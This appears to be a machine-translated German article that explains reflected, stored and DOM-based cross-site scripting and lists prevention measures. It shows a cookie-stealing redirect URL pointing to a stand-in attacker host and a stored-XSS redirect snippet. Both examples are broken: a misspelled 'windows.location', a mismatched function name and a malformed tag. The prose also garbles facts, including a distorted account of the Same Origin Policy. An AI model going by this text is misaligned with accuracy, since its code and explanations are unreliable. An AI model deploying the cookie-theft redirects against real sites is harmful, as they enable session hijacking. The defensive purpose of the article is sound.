Wie Hacker Cross Site Scripting verwenden, um Websites zu beschädigen und Daten zu stehlen
Cross-Site-Scripting oder XSS können ein wirksamer und schneller Angriff sein. Als Entwickler könnten Sie es sogar für einen Fehler in Ihrem Code halten und am Ende nach Fehlern suchen, die nicht vorhanden sind.
Als Client, der die anfällige Website verwendet, können Sie wichtige Informationen über Ihren Authentifizierungszugriff auch unschuldig an den Angreifer weitergeben.
Was ist Cross-Site-Scripting? Wie können Hacker damit in eine Website eindringen und Ihre Daten stehlen? Und wie können Sie ein solches Risiko mindern?
Was ist Cross-Site-Scripting?
Cross-Site-Scripting oder XSS tritt auf, wenn Skripte von einer schädlichen Website mit Code auf einer anfälligen Website interagieren.
Server sind jedoch so verkabelt, dass Personen ohne Authentifizierung nicht auf den Quellcode Ihrer Website zugreifen und diesen bearbeiten können.
Das Internet verwendet die Same Origin Policy (SOP), um standortübergreifende Interaktionen zu blockieren. SOP prüft jedoch drei wichtige Sicherheitslücken und versucht, diese zu verringern. Sie sind:
- Internetprotokollrichtlinie, die überprüft, ob beide Websites Inhalte über sicheres SSL (HTTPS) oder eine unsichere URL (HTTP) bereitstellen.
- Dieselbe Webhost-Richtlinie, die sicherstellt, dass Sie beide Websites auf derselben Domain hosten.
- Die Portrichtlinie, die überprüft, ob beide Websites ähnliche Kommunikationsendpunkte verwenden.
SOP ist der Ansicht, dass diese Richtlinien, wenn sie für zwei Websites unterschiedlich sind, keine Daten über das Web lesen oder austauschen können.
JavaScript ist jedoch eine manipulative Sprache, die die Reaktionsfähigkeit einer Website bestimmt. Während sich das JavaScript Ihrer Website höchstwahrscheinlich in einer separaten Datei befindet, können Sie auch ein Skript-Tag erstellen und in Ihr Document Object Model (DOM) schreiben.
Ein XSS-Angreifer könnte also denken: "Wenn Sie JavaScript in ein DOM schreiben können, können Sie es letztendlich in jedem Code-Editor oder Eingabefeld ausführen, das HTML-Tags akzeptiert."
Auf eine solche Verwundbarkeit und Chance sucht ein Angreifer, der XSS verwendet, auf einer Zielwebsite. Sobald sie eine solche Lücke gefunden haben, können sie die SOP umgehen.
XSS ist daher ein Angriff, mit dem Entführer ein Skript einfügen, das böswillige Aktionen auf einer anfälligen Website ausführt. Das Skript kann auf ungeschützte Formulare oder Eingabefelder abzielen, die Daten akzeptieren.
Funktionsweise und Typen von Cross-Site-Scripting anhand von Beispielen
XSS kann eine schnelle Ausführung eines reflektierten oder temporären Skripts sein, das ein Angreifer in Formularen wie Suchfeldern platziert. Es kann auch ein quälender oder ein dauerhafter sein, der in die Datenbank eingefügt wird. Oder es könnte passiv nach einem Seitenladen kommen.
In einigen Fällen kann dieses Skript auch die ursprüngliche Eingabe eines Opfers ändern, um dessen Absicht abzulenken. Eine dauerhafte Änderung der Benutzereingaben wie diese ist ein mutierendes XSS.
In welcher Form auch immer, das Ziel eines XSS-Angriffs ist es, die Daten eines Opfers durch exponierte Cookies und Protokolle zu stehlen.
Schauen wir uns eine kurze Erklärung der einzelnen XSS-Angriffstypen und ihrer Beispiele an, um zu verstehen, was sie sind.
Was ist ein reflektiertes XSS?
Ein reflektiertes oder temporäres XSS ist eine direkte Injektion von JavaScript in das Eingabefeld eines Benutzers. Es zielt auf Anforderungen ab, die Daten aus der Datenbank abrufen, z. B. Suchergebnisse. Aber es ist ein Ein-Client-Ziel-Angriff.
Während eines reflektierten XSS fügt ein Angreifer ein Skript in den Suchbegriff eines Zielopfers ein. Ein solches JavaScript kann ein Echo, eine Weiterleitung oder ein Cookie-Sammler sein.
Das in das Sucheingabefeld eingefügte Skript wird dann ausgeführt, sobald ein Zielclient seine Abfrage sendet.
Während der Suche eines Benutzers kann ein Angreifer beispielsweise ein JavaScript einfügen, das ein Formular wiedergibt, und das Opfer auffordern, sein Kennwort oder seinen Benutzernamen einzugeben. Sobald der Benutzer dies tut, sendet er seine Anmeldeinformationen möglicherweise unwissentlich an einen Angreifer, da er denkt, dass es sich um eine Anfrage von der ursprünglichen Site handelt.
Manchmal kann der Angreifer auch ein Skript verwenden, um einen Benutzer von der anfälligen Seite auf seine Seite umzuleiten. Dort auf der Seite des Angreifers kann ein ahnungsloser Benutzer getäuscht werden, einige Formulare einzureichen, was zu einem Verlust von Anmeldeinformationen führt.
Wenn das Ziel darin besteht, die Sitzung eines Benutzers zu stehlen, fügt der Angreifer ein Skript zum Sammeln von Cookies in den Suchbegriff des Benutzers ein. Anschließend entführen sie die aktuelle Sitzung des Benutzers, stehlen relevante Informationen und übernehmen die Aktivitäten des Opfers.
Der folgende Beispiel-XSS-Angriff stiehlt das Cookie eines Benutzers über eine GET-Anforderung:
http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")
Im obigen Beispiel XSS findet der Angreifer eine Lücke auf der anfälligen Website. Wenn ein Benutzer auf der anfälligen Site nach einer nicht verfügbaren Ressource sucht, leitet er diese auf die Seite des Angreifers weiter. Der Angreifer tippt dann auf das Cookie des aktuellen Benutzers und greift dessen Sitzung zu.
Diese Sicherheitsanfälligkeit tritt jedoch häufig auf, wenn die Abfrageaktion einer Site nicht gefiltert wird, um Skriptinjektionen über HTML zu überprüfen.
Aber selbst wenn es eine gefilterte Abfrage gibt, kann ein Angreifer dies umgehen, indem er verzweifelte Maßnahmen wie das Senden von Links an mögliche Echtzeitbenutzer einer Website ergreift. Sie können dies mit jeder Form von Social Engineering tun, die ihnen zur Verfügung steht.
Sobald die Opfer auf einen solchen Link klicken, kann der Entführer den XSS-Angriff erfolgreich ausführen und dem Opfer relevante Daten stehlen.
Das persistente oder gespeicherte Cross-Site-Scripting
Das gespeicherte XSS birgt weitere Bedrohungen. In diesem Fall speichert ein Angreifer das Skript in der Datenbank einer Website und löst so eine dauerhafte Ausführung des gespeicherten Skripts aus. Der gespeicherte Code kann beim Laden der Seite oder nach dem Laden der Seite ausgeführt werden.
Im Gegensatz zur temporären Form von XSS zielt ein gespeichertes XSS auf die gesamte Benutzerbasis der anfälligen Website ab. Darüber hinaus zielt es auf die Integrität der betroffenen Website ab.
Während eines dauerhaften XSS verwendet ein Angreifer Eingabefelder wie Kommentarformulare, um das Skript in die Datenbank einer Website zu stellen.
Was aber, wenn Sie POST-Felder mit CSRF-Token schützen? Leider umgeht gespeichertes Cross-Site-Scripting CSRF-Prüfungen.
Dies liegt daran, dass der Angreifer wie jeder andere Benutzer der Website ein Formular sendet. Ein solches Kommentarformular sendet das Skript also wie alle anderen Kommentare an die Datenbank.
Ein solcher Angriff kann auftreten, wenn Eingabefelder auf einer Website keine geeigneten Desinfektionsmittel verwenden, um Skripte und HTML-Tags zu maskieren.
Stellen Sie sich einen Benutzer vor, der das folgende Skript mithilfe eines Webkommentarformulars veröffentlicht:
<body onload = maLicious()>
<script>
function malCode(){
window.location.replace("attackerswebpage URL");
}
</script>
<body/>
Wenn ein Angreifer einen solchen Code in die Datenbank einer Website einfügt, leitet er ein Opfer beim Laden der Seite weiter auf die Website des Angreifers um. Das Skript kann auch eine Warnung, eine interaktive Modalbox oder eine eingebettete bösartige Anzeige sein.
Da das Skript beim Laden der Seite umleitet, kann es vorkommen, dass ein Opfer, das mit der anfälligen Website nicht vertraut ist, die Weiterleitung nicht bemerkt.
Anschließend interagieren sie mit der Website des Angreifers. Der Entführer kann dann jedoch verschiedene Mittel einsetzen, um Informationen von den Opfern zu erhalten, sobald diese auf ihrer Webseite sind.
Was ist ein DOM oder ein passives XSS?
Ein DOM-basiertes XSS führt einen in die Website eingebetteten Schadcode aus und zwingt das gesamte DOM auf der Clientseite zu ungewöhnlichem Verhalten.
Während gespeichertes und reflektiertes XSS auf serverseitige Anforderungen auf einer Website abzielt, zielt ein DOM XSS auf Laufzeitaktivitäten ab. Es funktioniert, indem ein Skript in die Komponente einer Website eingefügt wird, die eine bestimmte Aufgabe ausführt. Diese Komponente führt keine serverseitige Aktion aus.
Das in eine solche Komponente eingefügte Skript ändert jedoch seine Absicht vollständig. Wenn diese Komponente eine DOM-bezogene Aufgabe ausführt, z. B. solche, die die Elemente einer Website ändern, kann das Skript die Änderung der gesamten Webseite erzwingen.
In schlimmeren Fällen kann ein DOM-basiertes XSS einen Fehler imitieren. Das liegt daran, dass die Webseite ungewöhnlich reaktiv wird.
So verhindern Sie Cross-Site-Scripting-Angriffe
Eine XSS-Sicherheitsanfälligkeit beruht auf der missbräuchlichen Verwendung der besten Backend-Methoden. Die Verhinderung eines Cross-Site-Scripting-Angriffs liegt normalerweise in der Verantwortung des Entwicklers. Benutzer müssen aber auch eine Rolle spielen.
Die Verwendung eines CSFR-Tokens für Eingabefelder scheint keine Lösung für XSS-Angriffe zu sein. Und da dieser Angriff auch die Same Origin-Richtlinie umgeht, müssen Entwickler darauf achten, Sicherheitspraktiken, die XSS verhindern, nicht auszulassen.
Die folgenden vorbeugenden Maßnahmen sind für Entwickler hilfreich.
Eingabefelder bereinigen
Um sowohl gespeichertes als auch temporäres XSS zu verhindern, sollten Sie effiziente Desinfektionsmittel für Eingabefelder verwenden. Das Bereinigen von Suchanfragen verhindert beispielsweise das Einfügen von Tags in die Suchbegriffe der Benutzer.
Verwenden Sie Unicode und HTML Auto Escape
Es ist hilfreich, HTML und Unicode Auto Escape zu verwenden, um zu verhindern, dass Eingabefelder wie Kommentar- und Konvertierungsformulare Skripte und HTML-Tags akzeptieren. Auto Escape ist eine wirksame vorbeugende Maßnahme gegen gespeichertes oder dauerhaftes XSS.
Filtern Sie bestimmte Tags heraus
Es ist für jede Website eine schlechte Idee, Benutzern das Einfügen von Tags in Kommentarformulare zu erlauben. Es ist eine Sicherheitsverletzung. Wenn Sie dies jedoch zulassen müssen, sollten Sie nur Tags akzeptieren, die keine XSS-Bedrohungen darstellen.
Verwenden Sie die entsprechende Eingabevalidierung
Selbst wenn Sie Tags vollständig blockieren, kann ein Angreifer einen XSS-Angriff mit sozialen Mitteln ausführen. Sie können E-Mails senden, anstatt etwas direkt auf der anfälligen Website zu platzieren.
Eine andere Methode, dies zu verhindern, besteht darin, Eingaben effizient zu validieren. Zu diesen Maßnahmen gehört die Validierung von Protokollen und die Sicherstellung, dass Ihre Website nur Eingaben von sicherem HTTPS und nicht von HTTP akzeptiert.
Die Verwendung dedizierter JavaScript-Bibliotheken wie dompurify kann auch dazu beitragen, XSS-bezogene Sicherheitsverletzungen zu blockieren.
Sie können Tools wie XSS Scanner oder GEEKFLARE verwenden , um auf Ihrer Website nach XSS-Schwachstellen zu suchen .
Wie Benutzer XSS verhindern können
Es gibt heute Millionen von Websites im Internet. Sie können also kaum sagen, welches XSS-Sicherheitsproblem hat.
Als Benutzer sollten Sie jedoch sicherstellen, dass Sie mit jedem Webdienst vertraut sind, bevor Sie ihn verwenden. Wenn eine Webseite plötzlich gruselig wird oder sich ungewöhnlich verhält, kann dies eine rote Fahne sein.
Achten Sie in jedem Fall darauf, personenbezogene Daten nicht an nicht vertrauenswürdige Dritte weiterzugeben. Halten Sie dann Ausschau nach unerwünschten E-Mails oder verdächtigen Social-Media-Posts, die zu Phishing-Angriffen jeglicher Art führen können .
Keine einzige vorbeugende Methode passt für alle
Wir haben gesehen, wie ein XSS-Angriff aussieht und wie man ihn verhindert. Es ist leicht, XSS-Sicherheitsüberprüfungen während der Entwicklung zu vergessen. Entwickler sollten daher Maßnahmen ergreifen, um sicherzustellen, dass der Schutz nicht ausgelassen wird. Eine Kombination der zuvor aufgeführten vorbeugenden Maßnahmen funktioniert jedoch besser.